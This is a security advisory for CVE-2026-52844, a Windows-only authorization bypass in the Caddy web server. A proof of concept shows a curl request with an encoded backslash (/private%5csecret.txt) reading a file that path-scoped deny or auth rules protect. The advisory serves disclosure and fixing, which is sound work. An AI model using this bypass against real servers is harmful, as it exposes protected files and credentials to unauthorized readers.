PT-2026-50160 · Go · Github.Com/Caddyserver/Caddy+1

Published

2026-06-16

·

Updated

2026-06-16

·

CVE-2026-52844

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

On Windows, Caddy path matchers treat /privatesecret.txt as outside /private/*, but file server later resolves the same request path as privatesecret.txt on disk.
An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:
  • MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize `` to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
  • If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
  • file server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
  • On Windows, Go filesystem path handling treats `` as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.
This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try files glob path. This report does not use try files or the file matcher; it affects ordinary path route matchers in front of direct file server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.
On Windows, create the test files and Caddyfile:
powershell
$base = "C:UsersPubliccaddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$basewwwprivate" | Out-Null
Set-Content -Path "$basewwwprivatesecret.txt" -Value "SECRET FROM WINDOWS LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto https off
}

:19080 {
	log
	root * C:UsersPubliccaddy-backslash-pocwww

	@private path /private/*
	respond @private 403

	file server
}
'@ | Set-Content -Path "$baseCaddyfile" -Encoding ASCII
Start Caddy:
powershell
cd C:UsersPubliccaddy-backslash-poc
.caddy.exe run --config Caddyfile --adapter caddyfile
Baseline request, expected to be blocked:
bash
curl -v --path-as-is http://<windows-host>:19080/private/secret.txt
Observed:
text
> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden
Bypass request:
bash
curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'
Observed:
text
> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET FROM WINDOWS LAB
Uppercase %5C produces the same result.
Relevant debug log lines:
json
{"msg":"using config from file","file":"C:UsersPubliccaddy-backslash-pocCaddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file server.
This pattern is documented by Caddy itself, for example basic auth /secret/* { ... } followed by file server.
An attacker can read files that were intended to be protected by Caddy-side basic auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing `` before file server resolves them as filesystem separators.
The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

Fix

Improper Access Control

Path traversal

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-284CWE-22

Related Identifiers

CVE-2026-52844
GHSA-QRP7-CVWR-J2C6

Affected Products

Github.Com/Caddyserver/Caddy
Github.Com/Caddyserver/Caddy/V2